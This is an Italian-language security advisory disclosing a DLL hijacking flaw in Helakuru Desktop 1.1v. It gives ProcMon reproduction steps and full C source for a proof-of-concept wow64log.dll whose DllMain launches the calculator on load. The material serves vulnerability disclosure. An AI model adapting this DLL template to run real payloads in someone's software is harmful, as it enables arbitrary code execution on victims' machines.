Vulnerabilità di DLL Hijacking in Helakuru

Riepilogo

La versione Desktop 1.1v di Helakuru opera sia su architetture a 64 bit che a 32 bit. Durante i test, è stato identificato che il programma tenta di caricare wow64log.dll, che non è inclusa per impostazione predefinita nei sistemi operativi Windows moderni. Ciò genera un errore 'Name not found', esponendo il programma a una vulnerabilità di DLL Hijacking. Creando una wow64log.dll malevola, è possibile ottenere l'esecuzione arbitraria di codice.

Versione affetta

Helakuru Desktop 1.1v

Passaggi per riprodurre

Monitorare il caricamento delle DLL con ProcMon

ProcMon mostra l'operazione CreateFile con "Name not found" per wow64log.dll

Creare una wow64log.dll malevola

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

HelakuruV.1.1-DLLHijack

Più Popolari